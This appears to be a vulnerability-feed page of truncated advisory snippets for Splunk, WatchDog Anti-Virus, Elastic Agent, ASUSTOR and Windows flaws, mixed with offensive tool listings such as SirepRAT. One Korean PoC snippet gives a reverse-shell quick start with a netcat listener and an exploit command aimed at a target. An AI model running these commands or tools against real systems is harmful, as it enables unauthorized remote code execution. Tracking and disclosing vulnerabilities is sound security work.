CVE-2026-76273

Splunk Enterprise versions below 10.4.3, 10.2.7, 10.0.10, and 9.4.15 are vulnerable to improper input validation via the collect Search Processing Language (SPL) command. An attacker with the run_collect capability can exploit the fact that the command fails to validate the index name before proc...

EUVD-2026-94625

In Splunk Enterprise versions below 10.4.3, 10.2.7, 10.0.10, and 9.4.15, a user that holds a role with the runcollect capability could use the collect Search Processing Language SPL command to add attacker-controlled content to system-level messages on the Splunk platform instance. The...

CVE-2024-31317-Deployer

CVE-2024-31317 Deployer 🔒 Заявление о безопасности Данный проект предназначен исключительно для исследований в области безопасности и образовательных целей. Использование этого инструмента для несанкционированного тестирования незаконно. Автор не несет ответственности за любое неправомерное...

betwixt

Betwixt поможет вам анализировать веб-трафик вне браузера, используя знакомый интерфейс Chrome DevTools. Установка Скачайте последний релиз для вашей операционной системы, создайте свой собственный пакет или запустите Betwixt из исходного кода. Настройка Чтобы захватывать трафик, вам нужно...

SirepRAT

SirepRAT - RCE от имени SYSTEM на Windows IoT Core SirepRAT предоставляет полные возможности RAT без необходимости написания реального вредоносного RAT на целевом устройстве. Контекст Метод использует встроенную службу Sirep Test Service, которая предустановлена и работает в официальных образах,...

Enumprotections_BOF

Enumprotections BOF Этот BOF может использоваться для перечисления системных процессов и определения уровня защиты каждого из них. Также возвращается дополнительная информация, такая как связь со службой, пользователь, сессия и путь. Эту информацию в совокупности можно использовать для выявления...

CVE-2026-23520

CVE-2026-23520 MCP API 원격 명령 실행RCE PoC 📌 개요 이 저장소는 취약한 MCP API 엔드포인트일반적으로 /api/mcp/connect를 노출하는 애플리케이션에 영향을 미치는 원격 명령 실행RCE 취약점에 대한 PoC개념 증명 익스플로잇을 포함합니다. 이 취약점은 조작된 API 요청을 통해 시스템 수준 명령을 실행할 수 있게 합니다. 🚀 빠른 시작 1. 리스너 시작 nc -lvnp ATTACKERPORT 2. 익스플로잇 실행 python3 exploit.py TARGET --lhost...

CVE-2026-92253 Arbitrary File Write via Directory Junction in WatchDog Anti-Virus Quarantine Restoration

Improper link resolution before file access in the quarantine restoration process of WatchDog Anti-Virus 1.8.640 on Windows allows local, low-privileged attackers to cause a quarantined file to be written to an arbitrary filesystem location by creating a directory junction at the original file pa...

PT-2026-95970

Name of the Vulnerable Software and Affected Versions WatchDog Anti-Virus version 1.8.640 Description Improper link resolution during the quarantine restoration process on Windows allows a local, low-privileged attacker to write a quarantined file to an arbitrary filesystem location. This is...

CVE-2026-78604: Incorrect Permission Assignment for Critical Resource

Incorrect Permission Assignment for Critical Resource CWE-732 in Elastic Agent can lead to local privilege escalation via Replace Binaries CAPEC-642. On Windows systems where Elastic Agent is installed in unprivileged mode, resources used by the agent service are created with access controls...

PT-2026-84741

Incorrect Permission Assignment for Critical Resource CWE-732 in Elastic Agent can lead to local privilege escalation via Replace Binaries CAPEC-642. On Windows systems where Elastic Agent is installed in unprivileged mode, resources used by the agent service are created with access controls...

CVE-2026-76350

CVE-2026-76350 is an improper privilege management vulnerability in Splunk Enterprise affecting versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14 . A user holding the schedule_search role capability can configure PDF attachments in the email alert action workflow. When the alert fires, the search...

CVE-2026-76350 Improper Privilege Management through PDF Attachments for Email Alert Actions in Splunk Enterprise

In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14, a user that holds a role with the schedulesearch capability could configure Portable Document Format PDF attachments in the email alert action workflow. When the email alert action runs, it could execute arbitrary Search...

CVE-2026-76391: Incorrect Authorization

In Splunk AI Toolkit versions below 6.0.0, a user who does not hold the "admin" or "power" Splunk roles could run searches with system-level privileges, access all relevant data, affect system integrity, and read or delete search jobs belonging to other users through Agent Run History. The improp...

CVE-2026-76350: Improper Privilege Management

In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14, a user that holds a role with the schedulesearch capability could configure Portable Document Format PDF attachments in the email alert action workflow. When the email alert action runs, it could execute arbitrary Search...

CVE-2026-76351: Server-Side Request Forgery (SSRF)

In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14, and Splunk Secure Gateway versions below 3.10.9, 3.9.23, and 3.8.70, a user who does not hold the "admin" or "power" Splunk roles could use crafted report notification data to cause Splunk Secure Gateway to send a request to...

CVE-2026-18759 An improper authentication and path traversal vulnerability exists in ASUSTOR Backup Plan and ASUSTOR EZ Sync.

The background service of ABP or AES runs as NT AUTHORITY\SYSTEM and implements a file-based inter-process communication IPC mechanism protected by AES encryption. Because the encryption key file is readable by standard users and protected using DPAPI. Any authenticated local user can recover the...

CVE-2026-18759

The background service of ABP or AES runs as NT AUTHORITY\SYSTEM and implements a file-based inter-process communication IPC mechanism protected by AES encryption. Because the encryption key file is readable by standard users and protected using DPAPI. Any authenticated local user can recover the...

EUVD-2026-52064

In display, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS11004276; Issue ID: MSV-7748...

PT-2026-70737

Name of the Vulnerable Software and Affected Versions Microsoft Windows affected versions prior to August 2026 Description A use-after-free condition exists in the Windows Ancillary Function Driver for WinSock afd.sys. This issue occurs due to unreliable pointer dereferencing within the Windows...